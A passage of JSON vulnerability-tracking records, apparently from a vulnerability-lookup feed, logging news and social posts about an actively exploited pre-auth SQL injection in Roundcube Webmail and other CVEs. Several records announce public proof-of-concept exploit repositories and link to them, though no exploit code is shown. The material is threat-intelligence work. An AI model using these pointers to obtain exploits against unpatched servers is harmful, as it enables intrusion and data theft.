Fact Sheet\u00a0for more information.\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing\u00a0timely\u00a0remediation of\u00a0KEV Catalog vulnerabilities\u00a0as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the\u00a0specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/05/26/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-19T00:00:47.112127Z"}, {"uuid": "8edfb1a0-ecbf-4af7-8f0c-8ae83e613f23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://gist.github.com/ichintu/85fb1e02960a0516578c312a9bf4f913", "content": "This September 21, 2026 threat intelligence digest highlights four critical vulnerabilities requiring immediate patching: **Joplin Server** (CVE-2026-46649) and **Warpgate** (CVE-2026-58491) contain unmitigated SSO flaws enabling credential brute-forcing and reflected XSS/open redirects, respectively; **Roundcube Webmail** (CVE-2026-48842) is actively exploited in the wild; and **Zyxel GS1900 switches** (CVE-2026-7273) feature a stack-based buffer overflow now listed in CISA\u2019s KEV database. Additionally, community reports suggest a potential compromise of the OWASP API Security page, while a weekly cyber warfare brief tracks state-aligned operations and references CVE-2026-76460/76461. Administrators are urged to prioritize updates to Joplin \u22653.7.2, Warpgate \u22650.25.5, Roundcube \u22651.6.16/1.7.1, and affected Zyxel firmware, while verifying third-party resource integrity.", "creation_timestamp": "2026-09-22T00:03:05.046528Z"}, {"uuid": "99e0ea05-18df-4030-9d74-85bf05bf2024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/roundcube-security-advisory-av26-503", "content": "", "creation_timestamp": "2026-09-22T00:15:04.778684Z"}, {"uuid": "ece6d2ca-7b06-4067-9d94-ebb29c1a99c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mwabwlniam2l", "content": "An exploited Roundcube Webmail vulnerability allows SQL injection attacks. Learn how CVE-2026-48842 impacts servers and apply the latest patches immediately.\n\n#Roundcube #Cybersecurity #CVE202648842 #Vulnerability #SQLInjection", "creation_timestamp": "2026-09-24T03:12:43.476052Z"}, {"uuid": "5bd02fef-a4bb-4abe-a881-dfa428c7f19e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mwatslyogi2u", "content": "Roundcube SQL injection flaw (CVE-2026-48842) is being actively exploited\u2014patch to 1.6.16 or 1.7.1 now. #SecurityNews #Cybersecurity #Roundcube #SQLInjection #EmailSecurity https://thedailytechfeed.com/urgent-fix-issued-as-roundcube-sql-injection-vulnerability-now-actively-exploited/", "creation_timestamp": "2026-09-24T08:32:37.287738Z"}, {"uuid": "e4ea2476-f699-41e4-aa98-9f13b9c2f677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4806", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/gld5vc7kvpp7p", "content": "CVE-2026-4806 - Custom Thank You Page for WooCommerce\nCVE ID : CVE-2026-4806\n \n Published : Sept. 24, 2026, 11:31 a.m. | 22\u00a0minutes ago\n \n Description : The Custom Thank You Page for WooCommerce plugin for WordPress is vulnerable to unauthorized access and loss of data due to ...", "creation_timestamp": "2026-09-24T12:31:56.262255Z"}, {"uuid": "ce0de5c7-04b7-4f15-a131-b9a8b364ba20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mwbfcaxln42k", "content": "\ud83e\udd16 CVE-2026-48842: pre-auth SQLi in Roundcube Webmail (virtuser_query), patched in May, now actively exploited. Attackers can bypass auth and steal DB data.\nhttps://www.bleepingcomputer.com/news/security/critical-roundcube-flaw-now-actively-exploited-in-code-injection-attacks/", "creation_timestamp": "2026-09-24T13:45:36.089724Z"}, {"uuid": "7845b322-28ff-49db-bbcb-7892b3d5a408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mwbglwlrzg2d", "content": "Roundcube CVE-2026-48842: Passwordless Attack on Webmail", "creation_timestamp": "2026-09-24T14:08:54.462368Z"}, {"uuid": "db52c5de-16b7-475d-9f48-d46fc9ef8402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/alien-rick.bsky.social/post/3mwblsmbtfs2p", "content": "Whoa. Canada just flagged Roundcube CVE-2026-48842 as wild. Pre-auth SQL in virtuser_query, patched in May, half a million boxes still waving. You left webmail on the porch for four months, Morty. day267.025", "creation_timestamp": "2026-09-24T15:42:09.645429Z"}, {"uuid": "bf2f83b5-aa3e-4341-9847-f61b315944fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mwboivjsjq2m", "content": "Critical Roundcube flaw CVE-2026-48842 is being actively exploited in the wild, enabling pre-auth SQL injection via virtuser_query and possible auth bypass. #Roundcube #Canada #CVE-2026-48842", "creation_timestamp": "2026-09-24T16:30:23.073650Z"}, {"uuid": "2d69bc6a-3e3a-4f2f-8b25-41f77f1a9c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48541", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/bpwvz6lpxlstq", "content": "CVE-2026-48541 - Krayin CRM 2.2.6 Stored Template Injection XSS via Contact Name Field\nCVE ID : CVE-2026-48541\n \n Published : 24. September 2026 19:31 | 24\u00a0Minuten ago\n \n Description : Krayin CRM through 2.2.6 contains a stored client-side template injection vulnerability that...", "creation_timestamp": "2026-09-24T20:33:58.119941Z"}, {"uuid": "6ee65c34-0e2f-4c05-b33a-48a5cfabcfdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48542", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/cqngvjqerxkbc", "content": "CVE-2026-48542 - Krayin CRM 2.2.6 Stored Template Injection XSS via Product Name Field\nCVE ID : CVE-2026-48542\n \n Published : 24. September 2026 19:31 | 24\u00a0Minuten ago\n \n Description : Krayin CRM through 2.2.6 contains a stored client-side template injection vulnerability that...", "creation_timestamp": "2026-09-24T20:39:58.013844Z"}, {"uuid": "72a22ed8-51ab-4a26-baa4-a186b6627dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48543", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/37ker6mx5brkb", "content": "CVE-2026-48543 - Krayin CRM 2.2.6 Stored Template Injection XSS via Web Form Description\nCVE ID : CVE-2026-48543\n \n Published : 24. September 2026 19:33 | 22\u00a0Minuten ago\n \n Description : Krayin CRM through 2.2.6 contains a stored client-side template injection vulnerability th...", "creation_timestamp": "2026-09-24T20:47:58.337165Z"}, {"uuid": "d76e1678-9b13-4550-8f2f-cf8e1a61414e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mwcnqw4lvd24", "content": "Exploited Roundcube Webmail Vulnerability CVE-2026-48842\uff08Roundcube Webmail\u306e\u8a8d\u8a3c\u524dSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u3001\u5b9f\u653b\u6483\u3067\u306e\u60aa\u7528\u3092\u78ba\u8a8d\uff09 #SecurityOnline \uff08Sep 24\uff09\n\nsecurityonline.info/exploited-ro...", "creation_timestamp": "2026-09-25T01:49:37.871806Z"}, {"uuid": "6eaaff06-55fa-4ba7-9cf0-1536be0ef6f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48519", "type": "seen", "source": "https://t.me/GithubRedTeam/103053", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a IBM-Langflow-CVE-2026-48519-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lukehebe\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 16:45:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48519 pre-auth rce poc in IBM langflow <= 1.9.1\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-22T17:00:08.000000Z"}, {"uuid": "076d245c-b082-446e-9649-214e4a4d2538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mwd3sqqyob2n", "content": "\ud83e\udd16 CVE-2026-48842: pre-auth SQL injection in Roundcube Webmail is now actively exploited. No privileges or interaction needed; bypasses auth, dumps DB. Fix: 1.6.16/1.7.1.\nhttps://www.bleepingcomputer.com/news/security/critical-roundcube-flaw-now-actively-exploited-in-code-injection-attacks/", "creation_timestamp": "2026-09-25T06:01:12.108486Z"}, {"uuid": "879e350e-1ead-4fc3-a8f8-07b51375a5ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/abijita.bsky.social/post/3mwd5xt3tv62s", "content": "Roundcube Webmail Vulnerability CVE-2026-48842 Actively\u00a0Exploited\n\nA high-severity security vulnerability in Roundcube Webmail that was patched in May is now being actively exploited in attacks, according to the Canadian Centre for Cyber Security.", "creation_timestamp": "2026-09-25T06:39:49.775858Z"}, {"uuid": "ba9d4a87-c23d-4e6c-b616-62df53705529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mwd7ejuryz2i", "content": "CVE-2026-48842 enables unauthenticated SQL injection in Roundcube\u2019s virtuser_query plugin, bypassing escaping and allowing database tampering and data access.\n", "creation_timestamp": "2026-09-25T07:04:49.859172Z"}, {"uuid": "b539694d-79cc-41f8-be96-57c1087c8d7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48519", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/103053", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a IBM-Langflow-CVE-2026-48519-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lukehebe\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-22 16:45:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48519 pre-auth rce poc in IBM langflow <= 1.9.1\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-22T17:00:08.000000Z"}, {"uuid": "9558c31f-b2f7-46e3-8137-8d94bde39d24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mwdcp4ka5ky4", "content": "Roundcube\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3001\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u308b\u3088\u3046\u306b\uff1aCVE-2026-48842 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/47835/", "creation_timestamp": "2026-09-25T08:04:59.680346Z"}, {"uuid": "07ec6102-d42c-42a6-8efa-95b8e38b6e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "96c16751-1b73-43f8-8ab4-831c0a20223d", "vulnerability": "CVE-2026-48842", "type": "exploited", "source": "https://www.cyber.gc.ca/en/alerts-advisories/roundcube-security-advisory-av26-503", "content": "", "creation_timestamp": "2026-09-25T08:56:57.646578Z"}, {"uuid": "f787bfe3-ceda-40a4-9331-c6405019bf60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mwdfte3rbv2c", "content": "Roundcube Webmail is affected by CVE-2026-48842, a high-severity unauthenticated SQL injection in virtuser_query. Exploitation can expose messages, address books, and user identities. #Roundcube #SQLInjection #CVE202648842", "creation_timestamp": "2026-09-25T09:00:30.271169Z"}, {"uuid": "cbf80ee3-dedc-4ae8-b880-dd2ecd15c4f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mwdiz4jaou24", "content": "Learn how hackers are exploiting the CVE-2026-48842 Roundcube SQL injection vulnerability. Understand the risk and how to patch your webmail server immediately.\n\n#Roundcube #CyberSecurity #SQLInjection #DataBreach #TechNews", "creation_timestamp": "2026-09-25T09:57:24.712523Z"}, {"uuid": "fa8f7e48-9224-4841-af81-75dcfe8ac371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://t.me/information_security_channel/55976", "content": "Roundcube Webmail Vulnerability in Attackers\u2019 Crosshairs\nhttps://www.securityweek.com/roundcube-webmail-vulnerability-in-attackers-crosshairs/\n\nTracked as CVE-2026-48842, the exploited bug is an SQL injection that can be exploited without authentication.\nThe post Roundcube Webmail Vulnerability in Attackers\u2019 Crosshairs (https://www.securityweek.com/roundcube-webmail-vulnerability-in-attackers-crosshairs/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-09-25T07:09:06.000000Z"}, {"uuid": "7133ef3a-2fc1-42c6-be67-1262e15153ac", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d60be5ee-8dc0-4445-8ee3-de257a629592", "content": "", "creation_timestamp": "2026-09-25T10:00:29.307107Z"}, {"uuid": "4af9d264-2ba8-4d44-9b2d-0918365e77ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://www.securityweek.com/roundcube-webmail-vulnerability-in-attackers-crosshairs/", "content": "Tracked as CVE-2026-48842, the exploited bug is an SQL injection that can be exploited without authentication.\n\nThe post Roundcube Webmail Vulnerability in Attackers\u2019 Crosshairs appeared first on SecurityWeek.", "creation_timestamp": "2026-09-25T04:57:40.000000Z"}, {"uuid": "939e00b9-6a2e-4568-a523-f8d69d946548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48842", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mwdktwt4dw2q", "content": "Roundcube Webmail SQL injection (CVE-2026-48842) actively exploited. CCCS confirmed. Fixed versions: 1.6.16\u2026 https://0daynews.com/articles/2026-09-24-roundcube-cve-2026-48842-active-exploit-sql-injection/?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-3504", "creation_timestamp": "2026-09-25T10:30:17.881647Z"}, {"uuid": "f88d7e72-3d6d-42d9-9bdd-0559874107d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://t.me/thehackernews/10163", "content": "\ud83d\udea8 Attackers are exploiting a Roundcube pre-auth SQL injection flaw patched in May.\n\nCVE-2026-48842 can expose mail credentials and stored messages through the virtuser_query plugin.\n\nRead: https://thehackernews.com/2026/09/roundcube-pre-auth-sql-injection-flaw.html", "creation_timestamp": "2026-09-25T10:22:31.000000Z"}, {"uuid": "2e34fcc0-6e86-4e43-a373-ad847c54ffce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48072", "type": "seen", "source": "Telegram/aZCb1ZT5ToCPLdAN_wjtdC2c-OdVdjT8C_FU5E1EmQZAX-4", "content": "", "creation_timestamp": "2026-09-24T23:00:15.000000Z"}, {"uuid": "a6553658-8df0-413c-9e4f-e86f5aece0bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "Telegram/l-AGua03RTgi38TNixvdVgH0A7JTaud21SGo-fbQkZKHWK4", "content": "", "creation_timestamp": "2026-09-25T07:00:32.000000Z"}, {"uuid": "6e7af802-a260-4840-a6db-97e4a0f82ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "exploited", "source": "https://t.me/information_security_channel/55976", "content": "Roundcube Webmail Vulnerability in Attackers\u2019 Crosshairs\nhttps://www.securityweek.com/roundcube-webmail-vulnerability-in-attackers-crosshairs/\n\nTracked as CVE-2026-48842, the exploited bug is an SQL injection that can be exploited without authentication.\nThe post Roundcube Webmail Vulnerability in Attackers\u2019 Crosshairs (https://www.securityweek.com/roundcube-webmail-vulnerability-in-attackers-crosshairs/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-09-25T07:09:06.000000Z"}, {"uuid": "01c55336-deca-425d-b106-e2a0c77ae2a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48519", "type": "seen", "source": "Telegram/baeiM9fRMd5lQ2ZvmOQ70_pifu-s1kWTpwT4Ot-GKiqZMMo", "content": "", "creation_timestamp": "2026-09-23T03:00:06.000000Z"}, {"uuid": "cd49cd7e-52c8-4582-adff-dcd603b6d177", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mwdmlndrcz2z", "content": "Roundcube \u306e\u8a8d\u8a3c\u524dSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u304c\u60aa\u7528\u4e2d\n\nRoundcube \u306e CVE-2026-48842 (SQL\u6ce8\u5165)\u304c\u91ce\u751f\u3067\u6d3b\u767a\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u30021.6.x(1.6.16\u672a\u6e80)\u30681.7.x(1.7.1\u672a\u6e80)\u304c\u5f71\u97ff\u3092\u53d7\u3051\u307e\u3059\u3002\u7dca\u6025\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u5fc5\u8981\u3067\u3059\u3002\n\n#CVE #\u8106\u5f31\u6027 #\u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3", "creation_timestamp": "2026-09-25T11:01:27.472091Z"}, {"uuid": "de43a4d7-44a5-4a8b-b2dc-417b1a980321", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mwdpcby7mj2k", "content": "Roundcube Webmail\u306eSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\uff08CVE-2026-48842\uff09\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u653b\u6483\u8005\u304c\u60aa\u7528\u53ef\u80fd\u3002", "creation_timestamp": "2026-09-25T11:49:53.978496Z"}, {"uuid": "741d0e96-92e6-4d28-92f0-735ca73bc4df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "exploited", "source": "https://t.me/thehackernews/10163", "content": "\ud83d\udea8 Attackers are exploiting a Roundcube pre-auth SQL injection flaw patched in May.\n\nCVE-2026-48842 can expose mail credentials and stored messages through the virtuser_query plugin.\n\nRead: https://thehackernews.com/2026/09/roundcube-pre-auth-sql-injection-flaw.html", "creation_timestamp": "2026-09-25T10:22:31.000000Z"}, {"uuid": "fb1fcd2b-8cb8-410e-9044-f359f4ce2999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://t.me/GithubRedTeam/103304", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48842\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a murrez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 05:59:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRoundcube virtuser_query pre-auth SQLi (CVE-2026-48842). Python PoC \u2014 version detect, virtuser plugin, login probe. https://pocbit.org\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-25T06:00:09.000000Z"}, {"uuid": "563c0f1c-ab9b-450a-bbe8-997278423fcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://t.me/GithubRedTeam/103305", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48842\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pocbit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 05:59:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRoundcube virtuser_query pre-auth SQLi (CVE-2026-48842). Python PoC \u2014 version detect, virtuser plugin, login probe. https://pocbit.org\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-25T06:00:09.000000Z"}, {"uuid": "8a72e8f6-41d4-4d41-b9ef-dc3e9503fe33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "published-proof-of-concept", "source": "Telegram/l-AGua03RTgi38TNixvdVgH0A7JTaud21SGo-fbQkZKHWK4", "content": "", "creation_timestamp": "2026-09-25T07:00:32.000000Z"}, {"uuid": "dcf33cdc-1ef2-4865-9282-dcfd12ad6ae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://gist.github.com/ichintu/a75d075b634c5b72a80aeacabcd23bc1", "content": "This daily threat intelligence briefing highlights four key developments:\n\n\u2022 **Critical & Actively Exploited Vulnerabilities:** Immediate patching is required for a critical WordPress path traversal (CVE-2026-87902), a pre-auth SQL injection in Roundcube (CVE-2026-48842), and a WordPress plugin privilege escalation/OTP bypass (CVE-2026-14281, CVSS 9.8). An Akia keyless entry IDOR (CVE-2026-97898) was remediated on Sept 19.\n\n\u2022 **Major Crypto Exchange Breach:** Suspected North Korean actors stole $351.6M from Bitget by compromising hot and warm wallets; cold storage and the majority of platform funds remain secure.\n\n\u2022 **AI Misuse & Surveillance Accountability:** Anthropic\u2019s report details how AI is industrializing cybercrime, influence operations, and state-level surveillance through human-AI task division. Separately, experts urge Flock Safety to implement stricter access controls, graduated data retention, independent oversight, and legislative safeguards to prevent misuse of its automated license-plate network.\n\n\u2022 **Platform Moderation:** One Reddit post was removed for violating content policies.", "creation_timestamp": "2026-09-25T12:00:39.000000Z"}, {"uuid": "08838f7f-effc-4ee2-84e5-b9e01f080131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://thehackernews.com/2026/09/roundcube-pre-auth-sql-injection-flaw.html", "content": "The Canadian Centre for Cyber Security has warned that a now-patched Roundcube Webmail vulnerability is being actively exploited in the wild.\n\nThe vulnerability in question is CVE-2026-48842 (CVSS score: 8.1), a pre-authentication SQL injection in the virtuser_query plugin of Roundcube Webmail versions 1.6.x before 1.6.16 and 1.7.x before 1.7.1.\n\nThe issue stems from a preg_replace() backslash", "creation_timestamp": "2026-09-25T08:14:02.000000Z"}, {"uuid": "2f79b858-fb73-42e2-85ba-d3b830241337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mwdwznmlih2r", "content": "\ud83e\udd16 CVE-2026-48842 (CVSS 8.1): pre-auth SQL injection in Roundcube Webmail's virtuser_query plugin, actively exploited in the wild per Canadian Centre for Cyber Security. Affects 1.6.x < 1.6.16 and 1.7.x < 1.7.1 \u2014 patch\u2026", "creation_timestamp": "2026-09-25T14:08:13.989310Z"}, {"uuid": "2026eabc-86f1-480c-b5d1-4b4303756e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 